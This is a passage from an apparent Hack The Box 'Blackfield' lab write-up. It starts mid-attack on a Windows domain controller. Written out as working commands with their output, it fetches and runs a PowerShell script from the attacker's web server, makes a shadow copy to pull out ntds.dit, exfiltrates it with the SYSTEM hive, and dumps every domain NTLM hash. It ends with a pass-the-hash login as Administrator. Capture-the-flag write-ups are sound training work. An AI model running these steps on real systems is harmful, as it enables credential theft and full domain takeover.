Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 953 [text/plain]
Saving to: ‘Acl-FullControl.ps1’

Acl-FullControl.ps1        100%[======================================>]     953  --.-KB/s    in 0s      

2024-01-02 13:47:24 (29.6 MB/s) - ‘Acl-FullControl.ps1’ saved [953/953]

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ python3 -m  http.server 80                                                                        2 ⨯
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.192 - - [02/Jan/2024 13:49:08] "GET /Acl-FullControl.ps1 HTTP/1.1" 200 -

```

> ***Remote machine***

```sh
*Evil-WinRM* PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.6/Acl-FullControl.ps1')
*Evil-WinRM* PS C:\> ls


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/26/2020   5:38 PM                PerfLogs
d-----         6/3/2020   9:47 AM                profiles
d-r---        3/19/2020  11:08 AM                Program Files
d-----         2/1/2020  11:05 AM                Program Files (x86)
d-r---        2/23/2020   9:16 AM                Users
d-----        9/21/2020   4:29 PM                Windows
-a----        2/28/2020   4:36 PM            447 notes.txt


*Evil-WinRM* PS C:\>  Acl-FullControl -user blackfield\svc_backup -path c:\users\administrator
[+] Current permissions:


Path   : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BLACKFIELD\Administrator Allow  FullControl
Audit  :
Sddl   : O:SYG:SYD:P(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)



[+] Changing permissions to c:\users\administrator
[+] Acls changed successfully.


Path   : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BLACKFIELD\Administrator Allow  FullControl
         BLACKFIELD\svc_backup Allow  FullControl
Audit  :
Sddl   : O:SYG:SYD:PAI(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)(A;OICI;FA;;;S-1-5-21-4194615774-2175524697-3563712290-1413)



*Evil-WinRM* PS C:\> 

```

> this did not work lol, it is was meant to work oo. good thing there is another method upnext

#### Dumping the NTDS.dit Hashes with SeBackupPrivilege

> If we attempt to use robocopy to make a copy of the ntds.dit file, we will find that it fails due to the process being used.

```sh
*Evil-WinRM* PS C:\> robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Tuesday, January 2, 2024 7:09:44 PM
   Source : C:\Windows\NTDS\
     Dest : C:\Profiles\

    Files : NTDS.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

                           1    C:\Windows\NTDS\
            New File              18.0 m        ntds.dit
2024/01/02 19:09:44 ERROR 32 (0x00000020) Copying File C:\Windows\NTDS\ntds.dit
The process cannot access the file because it is being used by another process.

```

> For this reason, we will need to use the DiskShadow example from the post to make a shadow copy of the C:\ drive, which we will then be able to copy the ntds.dit file out of since it will not be “in-use”.

> Since diskshadow.exe is an interactive command and we currently have a non-interactive session, we have to craft a TXT file that we can feed into diskshadow.exe. This will allow us to execute the necessary commands to create our shadow copy.

> I used the following commands directly on the victim machine to craft the diskshadow.txt file:

> Eseential command to run

```sh
*Evil-WinRM* PS C:\> cd c:\
*Evil-WinRM* PS C:\> mkdir temp
*Evil-WinRM* PS C:\> cd temp
*Evil-WinRM* PS C:\temp> echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
*Evil-WinRM* PS C:\temp> echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\temp> echo "create" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\temp> echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
*Evil-WinRM* PS C:\temp> diskshadow.exe /s c:\temp\diskshadow.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  1/2/2024 7:44:58 PM

-> set context persistent nowriters
-> add volume c: alias temp
-> create
Alias temp for shadow ID {9d0239b1-20b4-4d9b-bd00-172d5561efa0} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {e5b21137-0981-41b4-b7a4-20acb21bee85} set as environment variable.

Querying all shadow copies with the shadow copy set ID {e5b21137-0981-41b4-b7a4-20acb21bee85}

        * Shadow copy ID = {9d0239b1-20b4-4d9b-bd00-172d5561efa0}               %temp%
                - Shadow copy set: {e5b21137-0981-41b4-b7a4-20acb21bee85}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 1/2/2024 7:44:59 PM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
                - Originating machine: DC01.BLACKFIELD.local
                - Service machine: DC01.BLACKFIELD.local
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %temp% z:
-> %temp% = {9d0239b1-20b4-4d9b-bd00-172d5561efa0}
The shadow copy was successfully exposed as z:\.
->
*Evil-WinRM* PS C:\temp> 

```
> seeing The shadow copy was successfully exposed as z:\. kinda feel like a good thing

> With the Z:\ drive exposed, I can now use robocopy again but this time it will be used to move the backup ntds.dit file to my temp folder and not the running one.

```sh
*Evil-WinRM* PS C:\temp> cd Z:
*Evil-WinRM* PS Z:\> cd windows
*Evil-WinRM* PS Z:\windows> cd ntds
*Evil-WinRM* PS Z:\windows\ntds> robocopy /b .\ C:\temp NTDS.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Tuesday, January 2, 2024 7:50:17 PM
   Source : Z:\windows\ntds\
     Dest : C:\temp\

    Files : NTDS.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

...[snip]...

```
> After grabbing the ntds.dit file, we will need to also grab the SYSTEM file from the registry and then send both of these over to our attacker machine to be dumped locally.
> 
> And then to exfiltrate these files this time, we can use evil-winrm’s built-in download command like so:

```sh
*Evil-WinRM* PS Z:\windows\ntds> cd C:\temp
*Evil-WinRM* PS C:\temp> reg.exe save hklm\system C:\temp\system.bak
The operation completed successfully.

*Evil-WinRM* PS C:\temp> download ntds.dit
*Evil-WinRM* PS C:\temp> download system.bak
```

> The first time you run this command and you didn’t redirect it to a file and there was over 300 user’s. Redirecting the output makes it easier to parse.

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL > hashes.txt
                                                                                                          
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ cat hashes.txt | more
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7f82cc4be7ee6ca0b417c0719479dbec:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::

...[snip]...

:
BLACKFIELD.local\BLACKFIELD869335:1116:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD319016:1117:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD600999:1118:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD894905:1119:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD253541:1120:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD175204:1121:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::

```


> Now that we have dumped all the hashes in the domain, the domain belongs to us!

### Pass-the-Hash Attack to get a Shell as the Domain Admin Account

> We can crack the hash gotten yh, but it's easier to just pass the hash

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                             
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                               
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
4375a629c7c67c8e29db269060c9****
*Evil-WinRM* PS C:\Users\Administrator\Desktop> 

```

> Boom this method of priv escalation seem to work perfectly, I'm sticking with this method wallahi.. TIME TO EAT, i'm hungryyy





